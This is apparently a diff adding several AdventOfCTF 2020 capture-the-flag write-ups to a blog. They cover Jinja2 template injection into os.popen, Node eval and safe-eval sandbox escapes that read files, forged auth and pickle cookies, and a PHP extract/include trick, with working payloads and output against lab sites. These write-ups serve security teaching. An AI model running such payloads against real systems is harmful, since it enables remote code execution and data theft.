<class 'werkzeug.routing.Map'>,
|
||||
<class 'werkzeug.routing.MapAdapter'>,
|
||||
<class 'flask.signals.Namespace'>,
|
||||
<class 'flask.signals._FakeSignal'>,
|
||||
<class 'flask.helpers.locked_cached_property'>,
|
||||
<class 'flask.helpers._PackageBoundObject'>,
|
||||
<class 'flask.cli.DispatchingApp'>,
|
||||
<class 'flask.cli.ScriptInfo'>,
|
||||
<class 'flask.config.ConfigAttribute'>,
|
||||
<class 'flask.ctx._AppCtxGlobals'>,
|
||||
<class 'flask.ctx.AppContext'>,
|
||||
<class 'flask.ctx.RequestContext'>,
|
||||
<class 'flask.json.tag.JSONTag'>,
|
||||
<class 'flask.json.tag.TaggedJSONSerializer'>,
|
||||
<class 'flask.sessions.SessionInterface'>,
|
||||
<class 'werkzeug.wrappers.json._JSONModule'>,
|
||||
<class 'werkzeug.wrappers.json.JSONMixin'>,
|
||||
<class 'flask.blueprints.BlueprintSetupState'>,
|
||||
<class 'unicodedata.UCD'>,
|
||||
<class 'jinja2.ext.Extension'>,
|
||||
<class 'jinja2.ext._CommentFinder'>,
|
||||
<class 'jinja2.debug.TracebackFrameProxy'>,
|
||||
<class 'jinja2.debug.ProcessedTraceback'>,
|
||||
<class 'CArgObject'>,
|
||||
<class '_ctypes.CThunkObject'>,
|
||||
<class '_ctypes._CData'>,
|
||||
<class '_ctypes.CField'>,
|
||||
<class '_ctypes.DictRemover'>,
|
||||
<class 'ctypes.CDLL'>,
|
||||
<class 'ctypes.LibraryLoader'>
|
||||
]
|
||||
```
|
||||
|
||||
{{< /code >}}
|
||||
|
||||
In this result we find the following class: `<class 'os._wrap_close'>`. This is the `os` module and it is on index `127`. We can verify it's index by getting it from the submodules list using the following input:
|
||||
|
||||
```text
|
||||
{{ [[""|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f")][0][1]|attr("\x5f\x5fsubclasses\x5f\x5f")()][0][127] }}
|
||||
```
|
||||
|
||||
This should return `<class 'os._wrap_close'>`.
|
||||
|
||||
### Grabbing the file
|
||||
|
||||
Now that we've got the `os` module, we can use it's `popen` function to execute commands. Let's try to list the work directory using the following input:
|
||||
|
||||
```text
|
||||
{{ [[[""|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f")][0][1]|attr("\x5f\x5fsubclasses\x5f\x5f")()][0][127]|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")][0]["popen"]("ls -lA")|attr("read")() }}
|
||||
```
|
||||
|
||||
It worked! We got the following result:
|
||||
|
||||
```text
|
||||
total 28
|
||||
dr-xr-xr-x 1 app app 4096 Nov 28 14:15 __pycache__
|
||||
-r--r--r-- 1 app app 1571 Nov 28 14:15 app.py
|
||||
-r--r--r-- 1 app app 93 Nov 28 14:15 requirements.txt
|
||||
-r-xr-xr-x 1 app app 26 Nov 28 14:15 serve.sh
|
||||
dr-xr-xr-x 1 app app 4096 Nov 28 14:15 static
|
||||
-rw-r--r-- 1 root root 2 Dec 2 13:53 supervisord.pid
|
||||
dr-xr-xr-x 1 app app 4096 Nov 28 14:15 templates
|
||||
```
|
||||
|
||||
Now let's grab the contents of `app.py`:
|
||||
|
||||
```text
|
||||
{{ [[[""|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f")][0][1]|attr("\x5f\x5fsubclasses\x5f\x5f")()][0][127]|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")][0]["popen"]("cat app\x2epy")|attr("read")() }}
|
||||
```
|
||||
|
||||
{{< code language="python" title="app.py" >}}
|
||||
|
||||
```py
|
||||
import random
|
||||
from flask import Flask, render_template_string, render_template, request
|
||||
import os
|
||||
import emojis
|
||||
|
||||
app = Flask(__name__)
|
||||
app.config['SECRET_KEY'] = 'Leer alles over Software Security bij Arjen (follow @credmp) at https://www.novi.nl'
|
||||
|
||||
def magic(flag, key):
|
||||
return ''.join(chr(x ^ ord(flag[x]) ^ ord(key[x]) ^ ord(key[::-1][x])) for x in range(len(flag)))
|
||||
|
||||
file = open("/tmp/flag.txt", "r")
|
||||
flag = file.read()
|
||||
|
||||
app.config['flag'] = magic(flag, '46e505c983433b7c8eefb953d3ffcd196a08bbf9')
|
||||
flag = ""
|
||||
|
||||
os.remove("/tmp/flag.txt")
|
||||
|
||||
@app.route('/', methods=['GET', 'POST'])
|
||||
def index():
|
||||
if request.method == 'POST':
|
||||
emoji="unknown"
|
||||
try:
|
||||
p = request.values.get('emoji')
|
||||
if p != None:
|
||||
emoji = emojis.db.get_emoji_by_alias(p)
|
||||
except Exception as e:
|
||||
print(e)
|
||||
pass
|
||||
|
||||
try:
|
||||
if emoji == None:
|
||||
if '.' in p or '_' in p or "'" in p or 'config' in p:
|
||||
return render_template_string("You entered an emoji that is on my deny list")
|
||||
else:
|
||||
return render_template_string("You entered an unknown emoji: %s" % p)
|
||||
else:
|
||||
return render_template_string("You entered %s which is %s. It's aliases %s" % (p, emoji.emoji, emoji.aliases))
|
||||
except Exception as e:
|
||||
print(e)
|
||||
return 'Exception'
|
||||
|
||||
return render_template('index.html')
|
||||
|
||||
if __name__ == '__main__':
|
||||
app.run(host='0.0.0.0', port=8000)
|
||||
```
|
||||
|
||||
{{< /code >}}
|
||||
|
||||
## Magic function
|
||||
|
||||
Just like [yesterday]({{% ref "writeups/adventofctf/2020/challenge_16.md" %}}), we find a magic function. It looks like it's the same just with a different key so let's decrypt it using the new key (`46e505c983433b7c8eefb953d3ffcd196a08bbf9`):
|
||||
|
||||
```text
|
||||
Python 3.6.9 (default, Nov 7 2019, 10:44:02)
|
||||
[GCC 8.3.0] on linux
|
||||
Type "help", "copyright", "credits" or "license" for more information.
|
||||
>>> def magic(flag, key):
|
||||
... return ''.join(chr(x ^ ord(flag[x]) ^ ord(key[::-1][x]) ^ ord(key[x])) for x in range(len(flag)))
|
||||
...
|
||||
>>> magic("C\x1eS\x1dwsef}j\x057i\x7fo{D)'dO,+sutm3F", "46e505c983433b7c8eefb953d3ffcd196
|
||||
a08bbf9")
|
||||
'NOVI{santa_l0ves_his_emojis}\n'
|
||||
>>>
|
||||
```
|
||||
|
||||
## Solution
|
||||
|
||||
We got the flag! It is `NOVI{santa_l0ves_his_emojis}`.
|
||||
|
||||
This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#17-18).
|
||||
@@ -0,0 +1,132 @@
|
||||
+++
|
||||
author = "Maik de Kruif"
|
||||
title = "Challenge 18"
|
||||
subtitle = "Challenge 18 - AdventOfCTF"
|
||||
date = 2021-01-06T23:04:52+01:00
|
||||
description = "A writeup for challenge 18 of AdventOfCTF."
|
||||
cover = "img/writeups/adventofctf/2020/be40bcd25e7487440a64b13cd32049b2.png"
|
||||
tags = [
|
||||
"AdventOfCTF",
|
||||
"challenge",
|
||||
"ctf",
|
||||
"hacking",
|
||||
"writeup",
|
||||
"web",
|
||||
"javascipt",
|
||||
"nodejs",
|
||||
]
|
||||
categories = [
|
||||
"ctf",
|
||||
"writeups",
|
||||
"hacking",
|
||||
]
|
||||
+++
|
||||
|
||||
- Points: 1800
|
||||
|
||||
## Description
|
||||
|
||||
We created a calculator for Santa to figure out how many days until Christmas remain. It is not finished yet, it will only return what you give it. Sort of. The flag is in flag.txt.
|
||||
|
||||
Visit <https://18.adventofctf.com> to start the challenge.
|
||||
|
||||
## Recon
|
||||
|
||||
Upon opening the challenge website we're greeted with an input field which asks us to "enter the nr of days until christmas".
|
||||
|
||||
When opening the source of the page we also find some javascript code:
|
||||
|
||||
```js
|
||||
function send() {
|
||||
let calc = $("#calc")[0].value;
|
||||
if (calc.length > 0) {
|
||||
$.ajax({
|
||||
url: "/calc",
|
||||
type: "POST",
|
||||
data: '{"calc": "' + calc + '" }',
|
||||
contentType: "application/json; charset=utf-8",
|
||||
dataType: "json",
|
||||
}).always(function (data) {
|
||||
text = data;
|
||||
if (data.responseText) {
|
||||
text = data.responseText;
|
||||
}
|
||||
$("#msg")[0].innerHTML = "<b>" + text + "</b>";
|
||||
});
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
As the description tells us it's a calculator, let's try entering `3+4` in the input field. It will make a `POST` request to `/calc`, which will return `7`.
|
||||
|
||||
## Finding the vulnerability
|
||||
|
||||
If we capture the request with a proxy like Burp, we can see it sends a `POST` request with some JSON data. It looks like this:
|
||||
|
||||
```json
|
||||
{
|
||||
"calc": "3+4"
|
||||
}
|
||||
```
|
||||
|
||||
To find out how the calculator works internally we can try to send some data it doesn't expect to try to break it. An example would be sending an empty post request.
|
||||
|
||||
If we try that we get the following error back:
|
||||
|
||||
```text
|
||||
TypeError: Cannot read property 'toString' of undefined
|
||||
at /opt/app/server.js:14:13
|
||||
at Layer.handle [as handle_request] (/opt/app/node_modules/express/lib/router/layer.js:95:5)
|
||||
at next (/opt/app/node_modules/express/lib/router/route.js:137:13)
|
||||
at /opt/app/node_modules/body-parser/lib/read.js:130:5
|
||||
at invokeCallback (/opt/app/node_modules/raw-body/index.js:224:16)
|
||||
at done (/opt/app/node_modules/raw-body/index.js:213:7)
|
||||
at IncomingMessage.onEnd (/opt/app/node_modules/raw-body/index.js:273:7)
|
||||
at IncomingMessage.emit (events.js:203:15)
|
||||
at endReadableNT (_stream_readable.js:1145:12)
|
||||
at process._tickCallback (internal/process/next_tick.js:63:19)
|
||||
```
|
||||
|
||||
This hints at a NodeJS Express server, but it does not give us much information about the calculation besides a `toString` which would be unnecessary if the output would always be a number. This could hint at an `eval` vulnerability.
|
||||
|
||||
A NodeJS Express server often has a `res` variable to which the request result is written. Let's try to get it by entering it in de input field.
|
||||
|
||||
```json
|
||||
{
|
||||
"calc": "res"
|
||||
}
|
||||
```
|
||||
|
||||
The result is `[object Object]` which means the input is evaluated.
|
||||
|
||||
## Exploit
|
||||
|
||||
Now we know the input is evaluated, we can try to read the flag. To find the file, let's try to list the directory contents.
|
||||
|
||||
In NodeJS we can do this by using the `fs` module and using the `readdirSync()` function. The resulting code would be `require('fs').readdirSync('.')`.
|
||||
|
||||
The resulting request:
|
||||
|
||||
```json
|
||||
{
|
||||
"calc": "require('fs').readdirSync('.')"
|
||||
}
|
||||
```
|
||||
|
||||
This gives us the following result:
|
||||
|
||||
```text
|
||||
flag.txt,node_modules,package-lock.json,package.json,public,server.js
|
||||
```
|
||||
|
||||
Now that we know the location of the flag (`flag.txt`), we can use the `readFileSync()` function to read the file:
|
||||
|
||||
```json
|
||||
{
|
||||
"calc": "require('fs').readFileSync('flag.txt')"
|
||||
}
|
||||
```
|
||||
|
||||
## Solution
|
||||
|
||||
We got the flag! It is `NOVI{N3v3r_us3_eval}`.
|
||||
@@ -0,0 +1,149 @@
|
||||
+++
|
||||
author = "Maik de Kruif"
|
||||
title = "Challenge 19"
|
||||
subtitle = "Challenge 19 - AdventOfCTF"
|
||||
date = 2021-02-25T23:18:28+01:00
|
||||
description = "A writeup for challenge 19 of AdventOfCTF."
|
||||
cover = "img/writeups/adventofctf/2020/d80f13d1ab714f7864c2a9ef56c5f767.png"
|
||||
tags = [
|
||||
"AdventOfCTF",
|
||||
"challenge",
|
||||
"ctf",
|
||||
"hacking",
|
||||
"writeup",
|
||||
"web",
|
||||
"javascipt",
|
||||
"nodejs",
|
||||
]
|
||||
categories = [
|
||||
"ctf",
|
||||
"writeups",
|
||||
"hacking",
|
||||
]
|
||||
+++
|
||||
|
||||
- Points: 1900
|
||||
|
||||
## Description
|
||||
|
||||
We found out that it was possible to insert Javascript code in the calculator. Oops! We found an awesome module to prevent against this abuse. Hopefully it is all better now. The flag is in flag.txt.
|
||||
|
||||
Visit <https://19.adventofctf.com> to start the challenge.
|
||||
|
||||
## Recon
|
||||
|
||||
Upon opening the challenge website, we're greeted with an input field which asks us to "enter the nr of days until christmas".
|
||||
|
||||
When opening the source of the page we also find some javascript code:
|
||||
|
||||
```js
|
||||
function send() {
|
||||
let calc = $("#calc")[0].value;
|
||||
if (calc.length > 0) {
|
||||
$.ajax({
|
||||
url: "/calc",
|
||||
type: "POST",
|
||||
data: '{"calc": "' + calc + '" }',
|
||||
contentType: "application/json; charset=utf-8",
|
||||
dataType: "json",
|
||||
}).always(function (data) {
|
||||
text = data;
|
||||
if (data.responseText) {
|
||||
text = data.responseText;
|
||||
}
|
||||
$("#msg")[0].innerHTML = "<b>" + text + "</b>";
|
||||
});
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
As the description tells us it's a calculator, let's try entering `3+4` in the input field. It will make a `POST` request to `/calc`, which will return `7`.
|
||||
|
||||
The description also states it was possible to enter javascript code, which we saw in the [previous challenge]({{% ref "writeups/adventofctf/2020/challenge_18.md" %}}), but that it has been fixed now.
|
||||
|
||||
## Finding the vulnerability
|
||||
|
||||
To verify what the description says, let's try to enter `res` in the input field. Sadly, it looks like it actually has been fixed as we now get the following error:
|
||||
|
||||
```text
|
||||
evalmachine.<anonymous>:11
|
||||
SAFE_EVAL_521493=res
|
||||
^
|
||||
|
||||
ReferenceError: res is not defined
|
||||
at evalmachine.<anonymous>:11:3
|
||||
at Script.runInContext (vm.js:133:20)
|
||||
at Script.runInNewContext (vm.js:139:17)
|
||||
at Object.runInNewContext (vm.js:322:38)
|
||||
at safeEval (/opt/app/node_modules/safe-eval/index.js:24:6)
|
||||
at /opt/app/server.js:13:11
|
||||
at Layer.handle [as handle_request] (/opt/app/node_modules/express/lib/router/layer.js:95:5)
|
||||
at next (/opt/app/node_modules/express/lib/router/route.js:137:13)
|
||||
at /opt/app/node_modules/body-parser/lib/read.js:130:5
|
||||
at invokeCallback (/opt/app/node_modules/raw-body/index.js:224:16)
|
||||
```
|
||||
|
||||
When looking at this output, we can see that it uses the `safe-eval` module to evaluate the input.
|
||||
|
||||
I personally don't know this module so let's Google around a bit. Eventually, I found [this Github Issue](https://github.com/hacksparrow/safe-eval/issues/16#issuecomment-554301596) which talks about safe-eval not being so safe. Exactly what we need.
|
||||
|
||||
When scrolling down on the issue, we can see a comment with the following code:
|
||||
|
||||
```text
|
||||
(
|
||||
delete(this.constructor.constructor),delete(this.constructor),
|
||||
this.constructor.constructor("return process")()
|
||||
)
|
||||
```
|
||||
|
||||
_Note: Sorry this code is not highlighted. If I do so, my formatter will mess it up..._
|
||||
|
||||
The comment has no further text in it so let's try entering the code. Don't forget to replace the double quotes (`"`) with single ones (`'`) though as, otherwise, the JSON will no longer be valid.
|
||||
|
||||
After making the request, the server returns the following string: `[object process]`. This means the code worked, and we can build an exploit on it.
|
||||
|
||||
## Exploit
|
||||
|
||||
Because we now have the `process` object, we can use it to require modules and execute code.
|
||||
|
||||
To read the directory contents of the sever, we can use the following code:
|
||||
|
||||
```text
|
||||
(() => {
|
||||
const process =
|
||||
(delete this.constructor.constructor,
|
||||
delete this.constructor,
|
||||
this.constructor.constructor('return process')());
|
||||
const require = process.mainModule.require;
|
||||
const fs = require('fs');
|
||||
return fs.readdirSync('.');
|
||||
})();
|
||||
```
|
||||
|
||||
_Note: Again, not formatted as my formatter will replace the single quotes with double ones._
|
||||
|
||||
In this code, I used the `process` to get the `require` function. I did this so I could get access to the `fs` module to read the directory contents. This, in turn, is all wrapped by a [self-executing anonymous function](https://developer.mozilla.org/en-US/docs/Glossary/Self-Executing_Anonymous_Function) so I could use variables to make it easier.
|
||||
|
||||
The above code returns the following output:
|
||||
|
||||
```text
|
||||
flag.txt,node_modules,package-lock.json,package.json,public,server.js
|
||||
```
|
||||
|
||||
Here we see the `flag.txt` file. Now let's read it using the `fs` module again:
|
||||
|
||||
```text
|
||||
(() => {
|
||||
const process =
|
||||
(delete this.constructor.constructor,
|
||||
delete this.constructor,
|
||||
this.constructor.constructor('return process')());
|
||||
const require = process.mainModule.require;
|
||||
const fs = require('fs');
|
||||
return fs.readFileSync('flag.txt');
|
||||
})();
|
||||
```
|
||||
|
||||
## Solution
|
||||
|
||||
We got the flag! It is `NOVI{s@fe_eval_is_not_so_saf3}`.
|
||||
@@ -0,0 +1,62 @@
|
||||
+++
|
||||
author = "Maik de Kruif"
|
||||
title = "Challenge 2"
|
||||
subtitle = "Challenge 2 - AdventOfCTF"
|
||||
date = 2020-12-02T17:30:25+01:00
|
||||
description = "A writeup for challenge 2 of AdventOfCTF."
|
||||
cover = "img/writeups/adventofctf/2020/948b1eb046c96865a05808660ee99e10.png"
|
||||
tags = [
|
||||
"AdventOfCTF",
|
||||
"challenge",
|
||||
"ctf",
|
||||
"hacking",
|
||||
"writeup",
|
||||
"web",
|
||||
"cookies",
|
||||
]
|
||||
categories = [
|
||||
"ctf",
|
||||
"writeups",
|
||||
"hacking",
|
||||
]
|
||||
+++
|
||||
|
||||
- Points: 200
|
||||
|
||||
## Description
|
||||
|
||||
For the 2nd challenge you will need to bypass the login mechanism.
|
||||
|
||||
Visit <https://02.adventofctf.com> to start the challenge.
|
||||
|
||||
## Solution
|
||||
|
||||
When opening the website we're provided with a login form. If we fill in the form with random data, we're greeted with some text that says a guest cannot access the flag.
|
||||
|
||||
After trying several things, I opened the devtools to have a look at the cookies. Here we find a cookie with the name `authenticated`:
|
||||
|
||||
```cookie
|
||||
authenticated=eyJndWVzdCI6InRydWUiLCJhZG1pbiI6ImZhbHNlIn0%3D
|
||||
```
|
||||
|
||||
The value of this cookie looks like a base64 encoded string so lets try to decode it:
|
||||
|
||||
_Note: in a url encoded string, the text `%3D` means a `=`._
|
||||
|
||||
```bash
|
||||
> echo "eyJndWVzdCI6InRydWUiLCJhZG1pbiI6ImZhbHNlIn0=" | base64 -d
|
||||
{"guest":"true","admin":"false"}%
|
||||
```
|
||||
|
||||
The result is some JSON data which specifies whether we are a guest or an admin.
|
||||
|
||||
Normally, we can easily alter the string to say we're an admin, but this time there is some weird non-printable character at the end. This means we can't easily modify it while still having the correct response. To circumvent this, I'll use `sed` to replace the string while keeping the non-printable character:
|
||||
|
||||
```bash
|
||||
> echo "eyJndWVzdCI6InRydWUiLCJhZG1pbiI6ImZhbHNlIn0=" | base64 -d | sed 's/"guest":"true"/"guest":"false"/g' | sed 's/"admin":"false"/"admin":"true"/g' | base64
|
||||
eyJndWVzdCI6ImZhbHNlIiwiYWRtaW4iOiJ0cnVlIn0=
|
||||
```
|
||||
|
||||
If we put this string back into the cookie and refresh the page we get the flag: `NOVI{cookies_are_bad_for_auth}`.
|
||||
|
||||
This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#2-3).
|
||||
@@ -0,0 +1,120 @@
|
||||
+++
|
||||
author = "Maik de Kruif"
|
||||
title = "Challenge 20"
|
||||
subtitle = "Challenge 20 - AdventOfCTF"
|
||||
date = 2021-02-26T00:11:35+01:00
|
||||
description = "A writeup for challenge 20 of AdventOfCTF."
|
||||
cover = "img/writeups/adventofctf/2020/c1f93b6ee2e1cd25ea02f9a78c364b12.png"
|
||||
tags = [
|
||||
"AdventOfCTF",
|
||||
"challenge",
|
||||
"ctf",
|
||||
"hacking",
|
||||
"writeup",
|
||||
"web",
|
||||
"python",
|
||||
"serialization",
|
||||
]
|
||||
categories = [
|
||||
"ctf",
|
||||
"writeups",
|
||||
"hacking",
|
||||
]
|
||||
+++
|
||||
|
||||
- Points: 2000
|
||||
|
||||
## Description
|
||||
|
||||
To pass the time until Christmas the elves challenge Santa to a game of tic-tac-toe. Santa plays X, can you make him win?
|
||||
|
||||
Visit <https://20.adventofctf.com> to start the challenge.
|
||||
|
||||
## Recon
|
||||
|
||||
When looking around on the page, we can see a tic tac toe board with two links in it. These links direct to `/play/y/x` and place an `O` on the board. After placing it, `O` wins.
|
||||
|
||||
If we take a look at the source, we also find a bit of javascript:
|
||||
|
||||
```js
|
||||
function send() {
|
||||
let emoji = $("#emoji")[0].value;
|
||||
if (emoji.length > 0) {
|
||||
$.post("/", { emoji: emoji }, function (data) {
|
||||
$("#msg")[0].innerHTML = "<b>" + data + "</b>";
|
||||
});
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
This code doesn't seem to be used though and I don't see what it would be used for so we'll ignore it for now.
|
||||
|
||||
Lastly, we can check the cookies on the website. Here we can find the `game` cookie. It looks like it's some `base64` encoded data.
|
||||
|
||||
```text
|
||||
game=gAN9cQAoWAUAAABib2FyZHEBXXECKF1xAyhYAQAAAE9xBGgETmVdcQUoaARYAQAAAFhxBmgGZV1xByhOaAZoBmVlWAQAAAB0dXJucQhoBFgIAAAAZmluaXNoZWRxCYlYBgAAAHdpbm5lcnEKTlgEAAAAc2FuZXELiHUu
|
||||
```
|
||||
|
||||
## Finding the vulnerability
|
||||
|
||||
We will start by having a look at the `game` cookie. If we base64 decode it we do see some information about a board, but its not plain text.
|
||||
|
||||
```bash
|
||||
echo -n "gAN9cQAoWAUAAABib2FyZHEBXXECKF1xAyhYAQAAAE9xBGgETmVdcQUoaARYAQAAAFhxBmgGZV1xByhOaAZoBmVlWAQAAAB0dXJucQhoBFgIAAAAZmluaXNoZWRxCYlYBgAAAHdpbm5lcnEKTlgEAAAAc2FuZXELiHUu" | base64 -d
|
||||
```
|
||||
|
||||
```text
|
||||
�}q(Xboardq]q(]q(XOqhNe]q(hXXqhe]q(NhheeXturnhfinishedq �Xwinnerq
|
||||
NXsaneq
|
||||
�u.⏎
|
||||
```
|
||||
|
||||
By the looks of it, it might be a serialized object but we don't know where it came from.
|
||||
|
||||
To find out what the backend framework of the server is, we can look at the `Server` header in the http response. This is not always filled in with useful information, but this time it was.
|
||||
|
||||
```text
|
||||
Server: Werkzeug/1.0.1 Python/3.7.10
|
||||
```
|
||||
|
||||
Here we can see the website uses Python for the backend. This narrows the amount of possible serialization libraries down a lot. A common library used for this in Python is Pickle.
|
||||
|
||||
To test whether the cookie is encoded pickle data, we can use the pickle's `loads` function to import the data from a string:
|
||||
|
||||
```text
|
||||
>>> import pickle
|
||||
>>> import base64
|
||||
>>> pickle.loads(base64.b64decode("gAN9cQAoWAUAAABib2FyZHEBXXECKF1xAyhYAQAAAE9xBGgETmVdcQUoaARYAQAAAFhxBmgGZV1xByhOaAZoBmVlWAQAAAB0dXJucQhoBFgIAAAAZmluaXNoZWRxCYlYBgAAAHdpbm5lcnEKTlgEAAAAc2FuZXELiHUu"))
|
||||
{'board': [['O', 'O', None], ['O', 'X', 'X'], [None, 'X', 'X']], 'turn': 'O', 'finished': False, 'winner': '', 'sane': True}
|
||||
```
|
||||
|
||||
Yes! It's using pickle and we can now try to alter the board.
|
||||
|
||||
## Exploit
|
||||
|
||||
To alter the board, we can write a little Python script like the following. You can't just put three `X` in a row as the backend checks the game state. To get around this, we can just place a few `O` on the board.
|
||||
|
||||
```py
|
||||
import base64
|
||||
import pickle
|
||||
|
||||
board_b64 = "gAN9cQAoWAUAAABib2FyZHEBXXECKF1xAyhYAQAAAE9xBGgETmVdcQUoaARYAQAAAFhxBmgGZV1xByhOaAZoBmVlWAQAAAB0dXJucQhoBFgIAAAAZmluaXNoZWRxCYlYBgAAAHdpbm5lcnEKTlgEAAAAc2FuZXELiHUu"
|
||||
|
||||
data = pickle.loads(base64.b64decode(board_b64))
|
||||
|
||||
data["board"] = [['X', 'X', 'X'], ['O', None, None], [None, None, 'O']]
|
||||
data["winner"] = 'X'
|
||||
data["turn"] = 'O'
|
||||
|
||||
print(base64.b64encode(pickle.dumps(data)))
|
||||
```
|
||||
|
||||
```text
|
||||
gASVVwAAAAAAAAB9lCiMBWJvYXJklF2UKF2UKIwBWJRoBGgEZV2UKIwBT5ROaAZlXZQoTk5OZWWMBHR1cm6UaAaMCGZpbmlzaGVklImMBndpbm5lcpRoBIwEc2FuZZSIdS4=
|
||||
```
|
||||
|
||||
We can then replace the `game` cookie with this string and reload the page.
|
||||
|
||||
## Solution
|
||||
|
||||
We got the flag! It is `NOVI{p1ckle_r1ck}`.
|
||||
@@ -0,0 +1,195 @@
|
||||
+++
|
||||
author = "Maik de Kruif"
|
||||
title = "Challenge 21"
|
||||
subtitle = "Challenge 21 - AdventOfCTF"
|
||||
date = 2021-02-26T11:45:53+01:00
|
||||
description = "A writeup for challenge 21 of AdventOfCTF."
|
||||
cover = "img/writeups/adventofctf/2020/a4afd1fffb0b662d849a6907767f0625.png"
|
||||
tags = [
|
||||
"AdventOfCTF",
|
||||
"challenge",
|
||||
"ctf",
|
||||
"hacking",
|
||||
"writeup",
|
||||
"web",
|
||||
"php",
|
||||
]
|
||||
categories = [
|
||||
"ctf",
|
||||
"writeups",
|
||||
"hacking",
|
||||
]
|
||||
+++
|
||||
|
||||
- Points: 2100
|
||||
|
||||
## Description
|
||||
|
||||
We are testing a new mechanism to filter out malicious content from URLs. This application is the test page for this feature. I hope it works, these hackers are very active!
|
||||
|
||||
The flag is in /flag.txt
|
||||
|
||||
Visit <https://21.adventofctf.com> to start the challenge.
|
||||
|
||||
## Recon
|
||||
|
||||
Upon opening the challenge website, we're greeted with some PHP code:
|
||||
|
||||
```php
|
||||
<?php
|
||||
error_reporting(0);
|
||||
|
||||
ini_set('display_errors', 0);
|
||||
ini_set('open_basedir', '/var/www/html:/tmp');
|
||||
|
||||
# Make sure no evil things are passed in the URL
|
||||
$file = 'filters.php';
|
||||
$func = isset($_GET['function'])?$_GET['function']:'filters';
|
||||
call_user_func($func,$_GET);
|
||||
include($file);
|
||||
|
||||
# Save the name for later
|
||||
session_start();
|
||||
if ($_POST["name"]){
|
||||
$_SESSION["name"] = $_POST["name"];
|
||||
}
|
||||
|
||||
header("Location: /index.php");
|
||||
exit();
|
||||
?>
|
||||
```
|
||||
|
||||
Besides this, we can also see an input field for a name. From it's source, we can tell it send a `POST` request to `/get_flag.php` upon submitting the form.
|
||||
|
||||
## Analyzing the code
|
||||
|
||||
Let's start by going over the PHP code line by line.
|
||||
|
||||
```php
|
||||
ini_set('display_errors', 0);
|
||||
ini_set('open_basedir', '/var/www/html:/tmp');
|
||||
```
|
||||
|
||||
The code starts by setting two PHP settings. The first one is pretty obvious; it disables the display of errors. The second one is a little more interesting. If we take a look at the [php documentation](https://www.php.net/manual/en/ini.core.php#ini.open-basedir) we find the following:
|
||||
|
||||
> Limit the files that can be accessed by PHP to the specified directory-tree, including the file itself.
|
||||
> [...]
|
||||
> When a script tries to access the filesystem, for example using include, or fopen(), the location of the file is checked. When the file is outside the specified directory-tree, PHP will refuse to access it.
|
||||
|
||||
This means we can, thus, only read files from the `/var/www/html` and `/tmp` directory. This is peculiar as we normally don't need to read anything from the `/tmp` folder.
|
||||
|
||||
```php
|
||||
# Make sure no evil things are passed in the URL
|
||||
$file = 'filters.php';
|
||||
$func = isset($_GET['function'])?$_GET['function']:'filters';
|
||||
call_user_func($func,$_GET);
|
||||
include($file);
|
||||
```
|
||||
|
||||
Moving on ot the next part, two variables are set: `$file` and `$func`. `$file` is set to a path which is later included with `include($file)`. To set the `$func` variable, the code will first check if `$_GET['function']` exists, and if so sets the variable to it, otherwise, the variable is set to the string `"filters"`.
|
||||
|
||||
After setting these variables, the script will execute `call_user_func` with two parameters. To see what this function does, we can have a look at the [docs](https://www.php.net/manual/en/function.call-user-func.php) again:
|
||||
|
||||
> Calls the callback given by the first parameter and passes the remaining parameters as arguments.
|
||||
|
||||
This means it will execute the function saved in `$func`, which, we can set using the `GET` parameter `function`. It also passes all `GET` parameters as arguments.
|
||||
|
||||
After calling `call_user_func`, it [includes](https://www.php.net/manual/en/function.include.php) the `$file` variable. This means it will take the contents of the file at the path saved in `$file` and pretend it was written here.
|
||||
|
||||
```php
|
||||
# Save the name for later
|
||||
session_start();
|
||||
if ($_POST["name"]){
|
||||
$_SESSION["name"] = $_POST["name"];
|
||||
}
|
||||
```
|
||||
|
||||
This part is also interesting. The code start a session and, if the `"name"` parameter exists in a `POST` request to this page, saves it to this session.
|
||||
|
||||
The interesting part is that we don't see it being used anywhere.
|
||||
|
||||
```php
|
||||
header("Location: /index.php");
|
||||
exit();
|
||||
```
|
||||
|
||||
Finally, the script will add a `Location` header with `/index.php` as the content, this is basically a redirect, and then exits the process.
|
||||
|
||||
### Summary
|
||||
|
||||
Let's put this all together.
|
||||
|
||||
Firstly, the code restricts the read access of our program to `/var/www/html` and `/tmp`. It then, if it exists, calls the function passed in the `GET` parameter `function`. If it isn't set, it will call the `filters` function instead. Afterwards, it includes a file at the path saved in `$file`.
|
||||
|
||||
After all of this, it will start a session and, if the `POST` parameter `name` is set, saves the contents of that parameter to the session.
|
||||
|
||||
## Finding the vulnerability
|
||||
|
||||
The goal is to read the `/flag.txt` file which is not saved in either `/var/www/html` nor `/tmp`. This means we cannot exploit the `include` function to read it directly.
|
||||
|
||||
Let's have another look at the bottom code for the session. A variable in the session is set, but where is it actually saved? As PHP doesn't "run" like a python server would, it can't save it to memory. This means the session is probably saved to a file.
|
||||
|
||||
If we have a look on Google, we can find that PHP sessions are saved as separate files in the OS's temporary directory. For Linux, this is `/tmp`.
|
||||
|
||||
Hooray! This means the `include` function can access the session files. This is quite useless though if we can't actually use the include function. So let's get to that first.
|
||||
|
||||
### Including files
|
||||
|
||||
The only way to include a file from what I can see is to either use `call_user_func` to include a file, or use `call_user_func` to somehow overwrite the `&file` variable.
|
||||
|
||||
The first approach won't work though as `GET` parameters always have a name, and the `include` function doesn't use those.
|
||||
|
||||
There is, however, a way to overwrite the `&file` variable. We can do this using PHP's `extract` function.
|
||||
|
||||
From the [docs](https://www.php.net/manual/en/function.extract):
|
||||
|
||||
> extract — Import variables into the current symbol table from an array
|
||||
|
||||
In English, this means it imports the variables from the passed array into our code.
|
||||
|
||||
This is great as the passed array is the `$_GET` array. This is an array in which all our `GET` parameters are saved. This means that if we add a parameter with the name "file", it will, hopefully, overwrite the existing variable.
|
||||
|
||||
Let's test this. Firstly we have to set the name variable. To do this we can just enter some text in the input field and press submit. After this, we can make a `GET` request to `/get_flag.php` to read the file.
|
